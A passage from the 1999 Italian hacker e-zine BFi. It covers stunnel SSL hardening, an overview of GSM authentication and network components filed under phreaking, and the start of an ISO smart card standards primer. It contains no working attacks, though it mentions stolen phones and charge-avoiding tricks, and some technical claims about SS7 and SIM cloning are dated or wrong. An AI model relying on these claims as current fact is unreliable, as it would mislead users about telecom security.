"accettino" questo grado di sicurezza e mette al riparo contro attacchi portati con client che forzino l'utilizzo di algoritmi meno solidi. Aumentate il valore di KEYLENGTH a 1024 o 2048 alla riga 29 si ssl.c e ricompilate/reinstallate stunnel - ovviamente e' anche il caso di rigenerare stunnel.pem con keylength RSA e DH maggiori di quelle di default (1024 e 512 bit rispettivamente). L'utlizzo di chiavi a 2048 bit provoca un aumento esponenziale delle risorse CPU utilizzate durante l'handshaking SSL e durante la generazione delle chiavi. Generare una chiave temporanea RSA a 2048 bit puo' richiedere piu' di un minuto anche su un PII 350 o macchina di eguale potenza; chiavi a 1024 bit vengono invece generate anche da un P100 in tempi accettabili (qualche secondo). Le chiavi a 512 bit sono generate praticamente istantaneamente. Generare uno "strong-prime" DH >512 bit puo' essere un processo che impegna PER ORE anche un server molto potente - "openssl speed" se volete generare qualche benchmark fuffa e vantarvi con gli amici al bar)... Ricordate comunque che se qualcuno intendesse realmente intercettare le vostre comunicazioni (anche disponendo delle risorse necessarie a "rompere" algoritmi di cifratura con chiavi giudicate oramai "insicure" - RSA 512 bit, p. es.) potrebbe probabilmente trovare sistemi MOLTO piu' semplici per penetrare nel vostro sistema (per esempio, studiare stunnel o openssl e trovare un exploit; exploitare altri servizi disponibili non protetti da accesso con certificati; corrompere vostra sorella, etc.). Trovo stunnel un ottimo sistema per proteggere comunicazioni che richiedano un basso livello di sicurezza, ma ritengo che non sia adatto nell'utilizzo in sistemi commerciali o in transazioni finanziare, etc. - Casco ben allacciato in testa, luci accese anche di giorno, e prudenza, sempre. - Non pensate comunque di farla in barba all'NSA. Lo chef consiglia: Personalmente utilizzo stunnel con il parametro KEYLENGTH modificato da 512 a 1024 alla riga 29 di ssl.c, e senza i commenti a #define NO_DH alla riga 25 dello stesso source. Come e' facile intuire, queste modifiche aumentano la lunghezza in bit della chiave RSA TEMPORANEA e disabilitano la possibilita' di usare il protocollo Diffie-Hellman per lo scambio delle chiavi. Inoltre utilizzo sempre l'autentificazone sia dai client (-v 2) che dei server (-v 3), con certificati a 2048 bit e forzo sempre l'utilizzo di CipherSuite "sicure" (-C DES-CBC3-SHA) in stunnel_server (che gira non-root, su porte <=1024, da inetd e con limitazione delle risorse CPU disponibili a stunnel tramite "quota", per evitare che un attacco portato con un numero molto elevato di connessioni sulla porta SSL provochi un sovraccarico eccessivo della CPU). Ovviamente sono preferenze dovute a paranoie personali... consiglio di effettuare qualche test per trovare i parametri migliori per le proprie necessita'. Qualche idea.. se proprio non sapete cosa tunnelare... Le possibilita' sono infinite.. cosi' a braccio me ne vengono in mente alcune: bnc, vnc, pop3, imap, smtp, sql, telnet, etc. Attivando un tunnel ssl con verifica dei certificati e chiudendo queste porte dall'esterno (escluso l'smtp), potete annullare la possibilita' per un eventuale malintenzionato di attaccare uno dei servizi (magari con privilegi root, tipo pop3d). Ovviamente e' sempre possibile ovviamente attaccare stunnel (hehe, Fusys ha promesso che fara' un auditing di sicurezza del source di stunnel per il prossimo numero.. stiamo a vedere :). Interessante e' anche la possibilita' di aprire una seconda porta per l'smtp (oltre a quella in chiaro, necessaria se il vostro server e' MX per qualche domain) a cui accedere solamente tramite certificati, ed utilizzarla per spedire posta ovunque (per esempio, se gradite utilizzare il vostro mail server anche da connessioni in dial-up, etc.) abilitando nell'stmpd il relay verso qualsiasi indirizzo dalle connessioni provenienti da 127.0.0.1 (mentre OVVIAMENTE dalle connessioni provenienti da indirizzi esterni accettera' posta SOLAMENTE verso i domain per cui e' MX). Contest: (*) - Chi indovina la citazione vince una bambolina.. (**) - Ja, e' proprio una citazione dallo stesso film... un aiutino.. John Candy (RIP, Sic!) mailto: vogliolabambolina@sikurezza.org Risorse: Altri tunnel ssl (sincerely - non ne ho provato nessuno): http://www.rickk.com/sslwrap/ - supporta ssleay e openssl (0.9.4 compresa) http://www.hitachi-ms.co.jp/bjorb/en/ - supporta ssleay http://www.multimania.com/jonama/ - supporta ssleay e openssl; funzioni di chroot per il daemon mode http://www.skygate.co.uk/safegossip/ - openssl - supporta PAM, ftp, telnet, smtp, etc. Altra documentazione interessante sull'argomento: http://www.openssl.org/related/ - partite da qui, e' una lista utilissima di risorse (sia link che software) http://www.psy.uq.oz.au/~ftp/Crypto/ - FAQ di ssleay.. purtroppo openssl non ha praticamente nessuna documentazione.. pero' e' basata su ssleay e qui potete trovare MOLTE cose interessanti, link compresi http://www.ietf.org: - Internet Engineering Task Force, cercate SSL o TLS come keyword per i titoli degli RFC e/o degli internet drafts.. Alcuni (ma sono tantissimi): RFC1421 - Privacy Enhancement for Internet Electronic Mail / Part I RFC1422 - Privacy Enhancement for Internet Electronic Mail / Part II RFC1423 - Privacy Enhancement for Internet Electronic Mail / Part III RFC2246 - The TLS Protocol Version 1.0 RFC2459 - Internet X.509 Public Key Infrastructure / Certificate and CRL Profile http://www.consensus.com/ietf-tls/ - IETF Transport Layer Security Working Group http://www.imc.org/ietf-pkix/ - IETF PKIX Working Group http://www.netscape.com/eng/ssl3/ - documentazione Netscape SSLv3 http://www.netscape.com/eng/security/SSL_2.html - documentazione Netscape SSLv2: http://www.consensus.com/security/ssl-talk-faq.html - SSL Talk FAQ http://www.ssh.fi/tech/crypto/ - Cryptography A-2-Z, dagli autori di ssh http://www.ssh.fi/tech/crypto/algorithms.html - breve introduzione alle tecniche di crittografia piu' utilizzate con descrizione dei vari algoritmi (per i frettolosi) http://www.rsasecurity.com/ - la compagnia fontada da Rivest, Shamir e Adleman, inventori dell'omonimo algoritmo (e numerosi altri) http://www.rsasecurity.com/rsalabs/faq/index.html RSA Laboratories Frequently Asked Questions About Today's Cryptography (ottima introduzione sulla crittografia e sui suoi utilizzi pratici) http://www.counterpane.com - homepage della Counterpane Systems, compania presieduta da Bruce Schneier, guru della crittografia e inventore dell'algorito Blowfish; contiene numerosissimi link "crypto-related" http://www.counterpane.com/applied.html - libro "Applied Cryptography" dello stesso Schneier, per quelli che vogliono sapere TUTTO sull'argomento :) http://www.openca.org - progetto per implementare (utilizzando openssl) un software avanzato di gestione CA. Attualmente ancora agli albori.. Nota. Il progetto e' sviluppato da italiani e ospitato presso il server del Comune di Modena http://www.progressive-comp.com/Lists/?l=stunnel-users&r=1&w=2#stunnel-users mirror della mailing list stunnel-users Disclaimer: Questo documento e' composto di pure allucinazioni e fantasia.. blah blah qualsiasi dato riportato e' assolutamente casuale e frutto di perversione intellettuale blah blah. NON MI RITENGO ASSOLUTAMENTE RESPONSABILE ne' di quanto scritto ne' dell'utilizzo che ne farete blah blah blah... (se vi bucano perche' avete usato stunnel, non venite a rinfacciarmelo - se vi bucano perche' NON avete usato stunnel, ibidem). Se avete trovato il tono utilizzato troppo "gigionesco" e/o "ciarliero" ed avete trovato i termini utilizzati offensivi per qualcuno o qualcosa... beh, mi dispiace, sono tuttavia convinto che si possano scrivere documenti, how-to et altro anche utilizzando una terminologia et una sintassi leggermente meno pallosa di quella contenuta tradizionalmente in questo tipo di documenti, senza comunque sminuirne il contenuto. La riproduzione di questo documento o sua parte blah blah e' ASSOLUTAMENTE PERMESSA su qualsiasi mezzo o intero blah blah - SEMPRE CHE SIANO SEMPRE CITATI SEMPRE L'AUTORE (Kobaiashi) e SEMPRE LA FONTE (BFi, http://www.s0ftpj.org) blah blah blah... SEMPRE Tutti i registri marchiati [ehm] tutti i citi registrati si insomma tutti i mostri nominati sono proprieta' dei legittimi registrati [ehm] si insomma blah blah. Siete liberi (ed invitati) comunque ad indicarmi eventuali inesattezze e schifezze ivi contenute e le vostre particolari paranoie e problematiche di utilizzo di stunnel ad uno dei miei molteplici indirizzi di posta: koba@s0ftpj.org koba@sikurezza.org koba@microsoft.com (uno di questi 3 indirizzi e' palesemente falso - indovinate quale ;) Baci e abbraci. Koba ============================================================================== --------------------------------[ EOF 15/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-16100777 1750 144 33567 7031215207 12000 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 16 di 22 ]------------- ============================================================================== -[ PHREAKiNG ]---------------------------------------------------------------- ---[ GSM MiSCELLANE0US - Eric Draven! DiscLAiMER : Il testo ke segue non e' soggetto ad alcun tipo di copyright, quindi liberamente distribuibile. Greetings to : #BlueBox Crew, LoneStar, Asbesto, Black Berry, MarcoTiM. begin Questa guida non vuole essere il testo ufficiale GSM, in quanto le specifike GSM sono trattate sikuramente meglio sui testi ufficiali facilmente reperibili in rete, ma bensi' vuole essere un documento guida, preciso, conciso e veritiero sullo standard europeo GSM. Argomenti trattati : 1 - GSM ,infarinatura. 2 - GSM ,in centrale (authentication) 3 - GSM ,in centrale (segnali principali) 4 - GSM ,comunicare via modem 5 - GSM ,possibile clonare? 6 - GSM ,Phase II, questa sconosciuta. 7 - GSM ,Omnitel warning 8 - LA FINE 1 - INFARINATURA Iniziano col ricordare ke ki acquista la skeda viene identifikato in rete da un codice kiamato IMSI (International Mobile Subscriber Identity), questa informazione viene trasmessa UNITAMENTE al KI (subscriber authentication key). Questa identifikazione quindi risulta UNIVOKA. Tutte le comunikazioni verranno cryptate usando un algoritmo in grado di creare una kiave casuale e TEMPORANEA, quindi la kiave sara' diversa per qualsiasi comunikazione. In codice la kiave e' kiamata KC (ciphering key). Alcuni di questi dati vengono conservati dentro la vostra carta SIM (Subscriber Identity Module), SIM ke come vedremo e' impossibile da "hackerare", ma ne parleremo meglio in seguito. Adesso conosciamo, bene o male, i segnali principali ke comandano la nostra SIM card... ma no sappiamo ankora cosa succede quando il nostro amato GSM viene acceso e va in "ricerca rete". 2 - IN CENTRALE (AUTHENTICATION) L'AUC (Authentication Center), una parte dell'OMS (Operation and Maintenance Subsystem) e' formato da un database di autentifikazione. Il server confronta IMSI, TMSI, Location Area Identity (LAI) e Ki per ogni utente. Inoltre la centrale verifika anke un eventuale compare per quanto riguarda l'IMEI (International Mobile Equipment Identity) un numero a 15 cifre ke identifika UNIVOKAMENTE il vostro GSM (non la SIM, ma il telefono dal quale usate la SIM, per essere kiari). Ogni centrale esegue un check appoggiandosi all'EIR (Equipment ID Register) un database ke contiene dei numeri IMEI "pericolosi". Provate a scrivere *#06# sul vostro cellulare ed avrete l'IMEI del vostro apparekkio GSM. Ma non perdiamoci... Il nostro numero IMEI COMPARE nella lista EIR (telefono rubato, eh? :), la centrale puo' eseguire due azioni: Greylist : permette al cellulare di collegarsi in rete, ma OGNI azione viene loggata mediante i DATI PRESENTE NELLA SIM INSERITA NEL TELEFONO... okkio, vi stanno per arrestare :) BlackList : il telefono non puo' connettersi a nessuna rete GSM sulla quale e' attivo il servizio di CHECK IMEI. In italia NESSUN gestore GSM controlla l'IMEI dei telefoni. Ma, dato ke noi siamo persone oneste (parlo di voi, non di me :), il nostro numero NON compare sul database... Beh... I OMNITEL sul display :) Il network ci riconosce, ci da accesso e segna la nostra posizione :) Come, dove e perke' lo vedremo in seguito :) 3 - IN CENTRALE (SEGNALI PRINCIPALI) BASE STATION - Le BS non sono altro ke i famosi ripetitori, ke quindi formano le celle; ogni ripetitore e' connesso con tutti gli altri. E' possibile anke ke si cambi cella se alcuni parametri controllati dalla centrale scendono sotto il limite minimo (Handover), vedremo in seguito. MSC (Mobile Switch Center) - Si okkupa dell'autentifikazione dei GSM in rete e del routing delle kiamate entranti o uscenti, verso qualsiasi numero, rete fissa o GSM. HLR (Home Location Rrgister) - Fa parte dell'MSC e si okkupa di altri check (ke abbiamo visto all'inizio di qst articolo). L'autentifikazione va a buon fine quando sul display appare il nome del provider GSM al quale si e' abbonati. POLLING - L'HLR inoltre registra a quale ripetitore (cella) siamo connessi, cosi' quando l'MSC deve ruotarci una kiamata controlla l'HLR kiedendo la posizione... Il nostro apparekkio GSM quindi invia un msg alla centrale segnalando la posizione. HANDOVER - E' il processo ke si okkupa del passaggio da una cella all'altra. Durante questa operazione l'HLR continua a monitorare la connessione in modo da sapere DOVE ruotare le kiamate in arrivo... L'handover si puo' avere per diversi motivi che non andremo a studiare. Se la connessione alla nuova cella fallisce, si tenta di riconettersi alla cella precedente e, se anke questa connessione non riesce, la comunikazione cade. VLR (Visitor Location Register) - Il VLR e' una parte dell'MSC ke si okkupa di controllare se siamo abilitati o no al tipo di kiamata rikiesta (usiamo una rikarikabile senza credito, non siamo abilitati alle kiamate verso l'estero, per esempio). Un messaggio VOCE di notifika viene inviato dalla centrale al nostro GSM (Omnitel, messaggio gratuito...). SMSC - E' il server ke si okkupa di smistare gli SMS. Gli SMS sono dei brevi messaggi di testo (160 caratteri) ke possono essere inviati mediante lo standard GSM. Gli SMS possono essere ricevuti anke durante una conversazione in quanto vengono inviati sul DATA CHANNEL e non sul VOICE CHANNEL (giusto per fare una distinzione rozza), quindi ad una frequenza diversa. 4 - COMUNICARE VIA MODEM Il protocollo ke gestisce la comunikazione DATI via GSM e' il famoso SS7 (Signalling System Number 7). Al contrario di quello ke si pensa, non e' possibile usare dei modem ANALOGICI per comunikare via GSM. Questo perke' il NETWORK essendo DIGITALE e' programmato per ricevere e smistare i pakketti ke hanno frequenze ke rientrano nell'intervallo della voce umana. La tecnika usata e' la TDMA (Time Division Multiple Access (TDMA) ke divide il canale in tanti altri piccoli canali discontinui o discreti. Un CODEC (compressor/decompressor) si okkupa di compattare la parte ridondante del pakketto, in modo da okkupare meno spazio. Questa tecnika permette lo sharing di 7 utenti in un singolo canale GSM. Il CODEC processa dati DIGITALI e non e' capace di processare segnali ANALOGICI. La connessione analogika tuttavia E' POSSIBILE, ma con velocita' talmente basse da rendere la stessa ridicola. Per una corretta comunikazione, quindi, e' necessario acquistare un modem digitale. Come funziona il modem digitale e quali sono i segnali ke gestiscono la comunikazione non verra' spiegato in questo testo. 5 - POSSIBILE CLONARE ? Questa estate le nostre email sono state riempite da un allarmistiko messaggio ke insisteva nel dire di una fantomatika squadra di clonatori di skede GSM ke, facendoci digitare dei codici particolari, riuscisse a carpire "i codici segreti della nostra skeda" (La Repubblika docet) clonandoci quindi la SIM. BELLA MINKIATONA :) -!- NESSUN SEGNALE UTILE PASSA NEL VOICE CHANNEL OLTRE LA VOCE -!- Per questo principale motivo e per altri 10.000 ke non sto qui ad elencare la clonazione delle SIM resta tutt'ora impossibile... Ma impossibile in effetti e' una parolona... Il metodo di cryptografia e' una grossa parte dello standard GSM, parte sviluppata nel piu' assoluto segreto e ke continua a restare segreta... Le unike informazioni rilasciate riguardano degli HOW-TO ke indirizzano le kase costruttrici di apparati GSM. So di un gruppo di cryptografi ke sfruttando un BUG dell'algoritmo di crytografia, kiedendo piu' volte alla SIM di identifikarsi, sono riusciti a bekkare non so quale DATO della skeda... Purtroppo non ne so molto per cui mi fermo qua. E se ci fossero due skede uguali? Probabilmente la centrale darebbe accesso ad entrambe, facendo squillare l'ultima skeda ad aver affettuato il POLLING. Sono solo supposizioni, in quanto non si e' ankora verifikata una situazione del genere, quindi non abbiamo avuto modo di gestirla :) Ovviamente la centrale fa distinzione tra CELLULARE SPENTO e CELLULARE IRRAGIUNGIBILE. Quando un cellulare viene spento, invia un MESSAGGIO ALLA CENTRALE avvertendo quest'ultima dello spegnimento. La centrale marka la sim come NON IN RETE. Se invece un cellulare perde il segnale o magari finisce le batterie e si spegne, la centrale non marka il telefono come spento, ma lo ritiene attivo. Qualcuno kiama il nostro cellulare: a) Cellulare spento. Check database sim off, parte IMMEDIATAMENTE il msg "Omnitel.. la persona da lei kiamata potrebbe avere il cellulare spento" b) Cellulare irragiungibile. Detect del numero a cui ruotare la kiamata. Bene, il numero si trova in rete? Si', alla posizione X (CELLA). Rikiesta di segnalazione posizione al telefono destinatario (POLLING). DOPO ALCUNI SECONDI, se il polling non va a buon fine: "Omnitel...mex gratuito..la persona da lei kiamata non e' al momento raggiungibile". 6 - PHASE 2, QUESTA SCONOSCIUTA Le sim PHASE II consentono di usufruire di alkuni servizi supplementari mediante lo standard GSM. In italia attualmente NESSUNO gestisce i servizi di phase2. - enhanced Multi-Level Precedence and Pre-emption service (eMLPP) Reference: ETSI GSM 02.67 Il servizio di phaseII+eMLPP fornisce differenti livelli di precedenza per il call setup e per la continuazione di una conversazione in caso di handover in una cella congestionata. In realta' si assegna una priorita' di kiamata diversa ad ogni singolo utente ke puo' ANKE essere tassato in maniera diversa rispetto alle kiamate con priorita' normale. I livelli di priorita' sono 7. I livelli piu' alti (7 e 6) hanno validita' soltanto sulla CELLA ATTUALE; al prossimo cambio di cella la priorita' decade. Sono gestiti dagli operatori di sistema. Le altre priorita' sono GLOBALI ed usate per la clientela. - Pre-emption della risorsa radio (fonte: Marco Scorzesi, collega TiM) La rete ha la possibilita' di sottrarre la risorsa radio ad una comunicazione in corso di priorita' inferiore per garantire il servizio ad un utente di priorita' superiore, in caso di congestione della rete in fase di setup, oppure di handover su una cella congestionata. Questa possibilita' e' offerta soltanto ai livelli di priorita' che dispongono anche della possibilita' di pre-emption. Le chiamate di emergenza (TS12) non sono soggette a pre-emption. Il servizio di priorita' puo' essere disabilitato dall'utente. - Voice Group Call Service (VGCS) Reference: ETSI GSM 02.68 Permette la comunikazione tra un gruppo (cos'e' un gruppo non verra' spiegato in questo testo) in modalita' HALF-DUPLEX. Uno parla, gli altri ascoltano: tutti hanno la possibilita' di parlare, mediante una coda di priorita'. Feature inutile, a mio avviso, ed inutile parlarne. - Voice Broadcast Service (VBS) Reference: ETSI GSM 02.69 Come il servizio di VGCS, in modalita' BROADCAST. HA DIRITTO DI PAROLA SOLO IL KIAMANTE: GLI ALTRI ASCOLTANO PASSIVAMENTE. - MultiParty (MPTY) services Reference: ETSI GSM 02.64 Permette a CINQUE (5) utenti di conversare CONTEMPORANEAMENTE IN FULL-DUPLEX. L'utente che inizia la multiParty call e' detto Served Mobile Subscriber e gli altri utenti partecipanti sono detti Remote Party. - Explicit Call Transfer (ECT) service (Fonte: Marco Scorzesi, collega TiM) Reference: ETSI GSM 02.91 Il servizio di Trasferimento Esplicito di Chiamata permette ad un utente impegnato in due conversazioni di connettere i due partner tra loro rilasciando contemporaneamente la propria connessione. E' possibile sia per le comunicazioni entranti (incoming) che uscenti (outgoing). - User-To-User Signalling (UUS) service Reference: ETSI GSM 02.87 Permette ad ogni utente di trasferire informazioni ad altri utenti connessi. L'esito della connession e' INCERTO, non c'e' NOTIFICA di avvenuta ricezione. E' possibile scegliere il protocollo usato. Altro servizio inutile, a mio avviso, sul quale non approfondiro' la diskussione. 7 - OMNITEL WARNING Sconsiglio innanzitutto di tentare di fregare Omnitel Pronto Italia, in quanto il sistema e' progettato in modo da skoprire OGNI eventuale truffa. a) Gli sms mandati da SMCS stranieri VENGONO IN EGUAL MODO TASSATI. b) Telefonate effettuate con trukki ke non skalano il credito sulla SIM vengono cmq registrate in centrale ke stakka automatikamente la skeda al raggiungimento di una soglia di default. c) Attenti al CID: l'identifikativo del kiamante si puo' disabilitare solo da centrale e non da telefono. 8 - LA FINE Siamo giunti alla fine... Ci sarebbero un sacco di cose da dire riguardo lo standard GSM, spero di essere stato utile, ma piu' ke altro spero di aver fornito le informazioni nella maniera piu' kiara possibile, in modo ke kiunque le possa kapire e comprendere. Le specifike ed i segnali ke non rikordavo a memoria sono stati riportati dal reference book ke la compagnia telefonika per la quale lavoro mette a disposizione dei tecnici di centrale. Un grazie va anke a Marco (TiM) il quale mi ha passato in email alcuni servizi di phaseII da me skonosciuti. Ho preferito non inserire e non approfondire argomenti tipo CRYPTOGRAFIA GSM ke mi riservo di conservare per un prossimo articolo, sikuramente e COMPLETAMENTE TECNICO, quindi non di facile comprensione. Detto questo... Ventotto agosto uno nove nove nove... Il viaggio continua... Eric Draven!/#CyberNet Hacking Group ============================================================================== --------------------------------[ EOF 16/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-17100777 1750 144 122664 7031215207 12016 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 17 di 22 ]------------- ============================================================================== -[ PHREAKiNG ]---------------------------------------------------------------- ---[ CARD, CARDiNG? NO! PARTE I - RigoR MorteM Prima di iniziare vorrei spendere un paio di byte per ringraziare tutti i ragazzi che hanno scritto e che scrivono per questa rivista, stanno facendo davvero molto per il panorama italiano, ed io, nel mio piccolo, sono compiaciuto di poter collaborare. Il mio contributo e' una picccola discussione sulle card, sia smart sia ID, insomma, le card con i contatti dorati che tutti avete sicuramente gia' visto. La ragione di questo articolo (al quale ne seguira' uno conclusivo) e' solo una: ora come ora ritengo molto importante conoscere il funzionamento delle card per molti motivi, sia perche' bene o male abbiamo a che fare con loro tutti i giorni: i telefoni cellulari ed i bancomat ne sono un tipico esempio, ma se spingiamo un pochino lontano lo sguardo vediamo gia' diversi prodotti che usano una card (smart o meno) e che in un futuro non troppo distante potremo usare anche noi. Pensate un po' ai nuovi network pc della Sun che con una smart card permettono di personalizzare il desktop e le applicazioni, estrarre la card, spostarsi su un'altro network pc, inserire la card e ritrovarsi il setup della macchina come si era impostato. Tenendo presente che secondo un sondaggio compiuto da Frost & Sullivan nel 1996 c'erano gia' in giro circa 676 milioni di card (sia con memoria sia con microprocessore) direi che saperne qualcosa male non faccia... Rispetto alla cifra citata di 676 milioni la suddivisione per tipologie e' la seguente: 575 milioni le telefoniche normali, 15 milioni le GSM, 36 milioni quelle dedicate a servizi bancari, 30 milioni di tessere di identificazione, 17 milioni di card per le paytv e 3.8 milioni di altre card. Pensate un po' a che boom hanno avuto i cellulari ed i ricevitori di tv via satellite dal 1996 ad oggi e tirate un po' voi le stime di quante card ci siano in giro adesso. Queste card sono spesso (e talvolta anche erroneamente) chiamate smart card, ed io mi occupero' abbastanza diffusamente di loro e delle loro sorelle chip card, con anche una panoramica sui vari metodi di connessioni fra le card ed il lettore, non trascurando la reperibilita' di lettori da autocostruirsi (ma questo alla prossima volta, ok?). La base per la comprensione del funzionamento delle card e' lo studio delle loro specifiche definite dall'ISO (http://www.iso.ch), che sono come le RFC di tutte le cose. In particolare a noi interessano 3 documenti creati dall'ISO, ovvero i numeri 7810, 7811 e 7816. Non provate a cercare questi testi, non sono di libero download e costano pure un sacco di soldi... Siccome sono buono e vi voglio pure far risparmiare dei soldini vi riassumero' a cosa servono questi standard, per poi spiegarvi come funziona dettagliatamente ed in pratica una card. Bene, adesso pero' e' il momento di dare a Cesare quel che e' di Cesare, ovvero i credits della struttura di questo articolo e di alcuni ASCII... Infatti alcuni ASCII sono stati presi dal testo 'ISO7816 asynchronous smartcard information' di Stephane Bausson. Ringrazio molto Stephane per aver permesso che il suo txt venisse usato come base per i miei studi e per averne permesso la traduzione e l'ampliamento (massiccio). Altre informazioni mi sono venute dal PDF distribuito dalla Smart Card Industry Association (http://www.scia.org) e dalla ditta Gemplus (http://www.gemplus.com). Per il resto, beh, ho usato qualche mio neurone superstite ed il cd 'Nativity in Black'... Ok, si inizia! ISO 7810 Tutte le informazioni relative alla dimensione fisica della card, come ho gia' detto, sono contenute in questo documento. In specifico, le card per essere utilizzate in lettori standard devono essere delle seguenti misure: lunghezza: 85.6 millimetri larghezza: 54.5 millimetri spessore: 0.8 millimetri In piu' viene anche specificato che una card puo' avere tre dimensioni ovvero ID-1 ID-2 ed ID-3. Sono nomi usati convenzionalmente, ma dal punto di vista dello standard ISO la loro corretta definizione e' ID-1 ID-00 ed ID-000 e sono il classico gioco delle scatole cinesi, ovvero nella card ID-1 c'e' una card ID-00 ed una ID-000, nella ID-00 c'e' la card ID-000 e nella ID-000 c'e' solo pochissima plastica ed i contatti elettrici. Vabbe', so che non sono il massimo nelle spiegazioni, quindi piccolo disegno e siamo a posto... +-----------------------------------------+ +-----------+ ID-000 +-----------+ ID-00 +---------------------------+ ID-1 +-----------------------------------------+ Tenete presente che le card nel formato ID-000 le ho anche viste integrate in chiavi di plastica ed usate come 'gettone' di credito o di presenza. In questo caso le card hanno 256 byte o al massimo 512 byte di EEPROM (Electrically Erasable Programmable Read-Only Memory). Il modello che ho visto e' il DMK-CS della tedesca DataMega (http://www.datamega.com), se vi incuriosisce ordinatevi i listini (in tedesco, lo so, ma sono gratis...). Sono anche in commercio delle card vergini da 416 bit o da 2 Kbit sul sito della Futura Elettronica (http://www.futuranet.it) e costano 10.000 lire cadauna, codice d'ordine CPC416 per le prime, CPC2K per le seconde. Mediamente il costo di una chip card si aggira tra le 1.600 lire e le 20.000 lire, tutto dipende dalla quantita' e dal tipo di chip a bordo. Tenete sopratutto presente che lo stock minimo solitamente e' di 1.000 card, se siete fortunati. Bene, adesso che sappiamo come sono fatte fuori, andiamo all'interno... Come avrete intuito o sapete al disotto dei contatti dorati della card c'e' un circuito integrato che e' inglobato nella plastica della card e ci sono 2 metodologie di inclusione. Sono conosciute con il nome di 'Wire Bonding' e di 'Tape Automatic Bonding'. Qui di seguito vi schematizzo la metodologia del 'Wire Bonding': contatti dorati / | \ / | \ ------| ______ ________ _______ |-- lato con contatti | |_* \ * |___| * / * _| | | | \--- / \---/ | | | |______________________| | |__________________________________| nicchia ricavata dalla card Gli asterischi sono la superficie adesiva alla quale aderiscono i contatti, il rettangolo al centro e' il circuito integrato fissato anche lui con adesivo, le linee che partono dal micro e che si collegano ai contatti dorati sono i fili di connessione del micro con le piazzole. La metodologia del 'Tape Automatic Bonding' invece prevede la seguente disposizione del chip: (-----) strato di plastica protettivo _________ _________ contatti dorati ------------ * * ----------- | card | --------- | card | ------------ | | ----------- --------- chip Come sopra, gli asterischi sono l'adesivo del chip che in realta' e' una colla epossodica. Sostanzialmente le metodologie non sono molto differenti come funzionalita', ma si tende a preferire la tecnica del Wire Bonding per il semplice fatto che il chip e' molto piu' protetto dagli urti rispetto al Tape Automatic Bonding, dato che resta dietro ad uno dei contatti e non protetto solo da un pochino di plastica. Bene, adesso che avete capito come sono in realta' strutturate fisicamente c'e' da dire solo una cosa al riguardo del materiale usato, ovvero della plastica che racchiude il chip. Solitamente sono realizzate in quattro tipi di materiali che hanno i relativi vantaggi e svantaggi, che sono: PET, PC, ABS: non puo' essere stampato, ma e' riciclabile PVC: non puo' essere riciclato, inquina, ma e' stampabile e costa poco Piccola cosa: PET = poliestere PC = policarbonato ABS = acrilonitrile-butadiene-stirolo PVC = cloruro di polivinile Inutile dire che la maggioranza delle card sono realizzate in PVC, visto il basso costo... Esistono anche apposite stampanti per card, reperibili al sito della Plus Technologies (http://www.plustechnologies.it) oppure sul sito della DataMega (http://www.datamega.com). ISO 7811 Dal momento che possono esistere delle card ad usi misti questo standard specifica dove devono essere, oltre ai contatti specifici della card, anche l'eventuale banda magnetica e le eventuali scritte in rilievo. A dire il vero, non me ne sono mai interessato molto, dato che a me serviva solo sapere qualcosa sulle card con il chip, non di quelle con le scritte in rilievo, ne' tantomeno di quelle con banda manetica, peraltro gia' trattate ampiamente ed ottimamente su Hack-Tik nei numeri 8, 9 e 10 oppure 2600 Magazine estate 1991 oppure ancora su Phrack #37 a cura di Count Zero. Adesso passiamo alle cose un pochino piu' difficili... Iniziamo a levarci un po' di casino dalla testa dicendo che siccome ci sono diversi tipi di card con i contatti elettrici uguali, ma dagli scopi molto diversi: ci sono le chip card, le smart card e le card con integrati. Le prime sono semplici card con memoria (solitamente EEPROM), le seconde hanno una minima logica integrata (solo una ROM e nulla di piu') mentre le ultime sono card con microprocessore (solitamente un chip della famiglia PIC della Microchip). La definizione di smart card, sebbene usata spesso a sproposito, va usata solo per le card con microprocessore a bordo. Ma allora perche' usare le card con il chip e non quelle magnetiche? Beh, le smart card sono preferibili alle card con banda magnetica per molte ragioni, ma la principale e' in genere una: le smart card possono immagazzinare dati come le card magnetiche, ma hanno in piu' la possibilita' non trascurabile di poter eseguire dei programmi al loro interno. Basti pensare solo alla fase di trusting che si basa su algoritmi matematici. Con le card a banda magnetica cio' e' tuttavia possibile, ma non altrettanto sicuro. ISO 7816 Lo standard ISO7816 si divide in 3 parti, che sono rispettivamente: - ISO7816-1 definizione delle caratteristiche fisiche delle card - ISO7816-2 dimensioni, contatti e posizione di questi ultimi - ISO7816-3 segnali elettrici e protocolli di trasmissione ISO 7816-1 Ovvero 'Il fisico e' importante' Dal momento che lo standard include una marea di cose, ve ne spiego solo alcune, quelle che ritengo importanti... Le card per essere accettate devono essere sottoposte ai seguenti controlli: - Luce ultravioletta Tutto cio' che e' relativo alla protezione contro i raggi UV e' a carico del produttore e ne viene lasciata la massima liberta' in merito... Insomma, sono cazzi di chi fa le card, percio' prima di venire immesse in commercio le card subiscono una bella dose di raggi UV di diverse intensita' per testarle. - Raggi X Eh si', le card devono resistere anche ai raggi X... Non e' stato pensato tanto per le persone che lavorano nei reparti di radiologia, ma per tutti coloro i quali devono passare i loro bagagli al check-in degli aereoporti. E anche qui le card si beccano come test la loro bella dose di radiazioni... - Rilievo dei contatti rispetto alla superficie della card I pin ovvero le piazzole dei contatti non devono essere piu' alte di 0.1 mm rispetto al resto della card. - Resistenza meccanica della card e dei contatti Le card devono ovviamente resistere in condizioni d'uso normali senza danneggiarsi o danneggiare il chip all'interno. Sono sottoposte ad un test un po' duro: una sfera di acciaio del diametro di 1.5 millimetri che venga premuta sulla card (o sui suoi contatti) con una forza di 1.5 Newton non deve produrre nessuna alterazione. - Resistenza elettrica La resistenza fra due pin adiacenti e non della card deve essere non meno di 0.5 Ohm con una corrente compresa tra 50 microampere e 300 milliampere - Campi magnetici Non devono essere danneggiate le informazioni del chip in presenza di campi magnetici, se non per emissioni riscontrabili in aree talmente concentrate che risultano (quasi) impossibili da trovare naturalmente. - Elettricita' statica La card (ed il suo chip) devono resistere ad una scarica di 1500 volt. Per testare cio' si carica un condensatore da 100pF a +1500V e, applicandovi una resistenza di 1.5 KOhm, si collega alle piazzole della card, usando il suo stesso corpo appoggiato da un adeguato piano come massa. L'operazione va logicamente ripetuta in senso opposto. Tenete presente che anche se strofinate la card su un maglione di lana e poi la inserite in un lettore avrete potenzialmente distrutto la card, infatti strofinandola sulla lana la avete 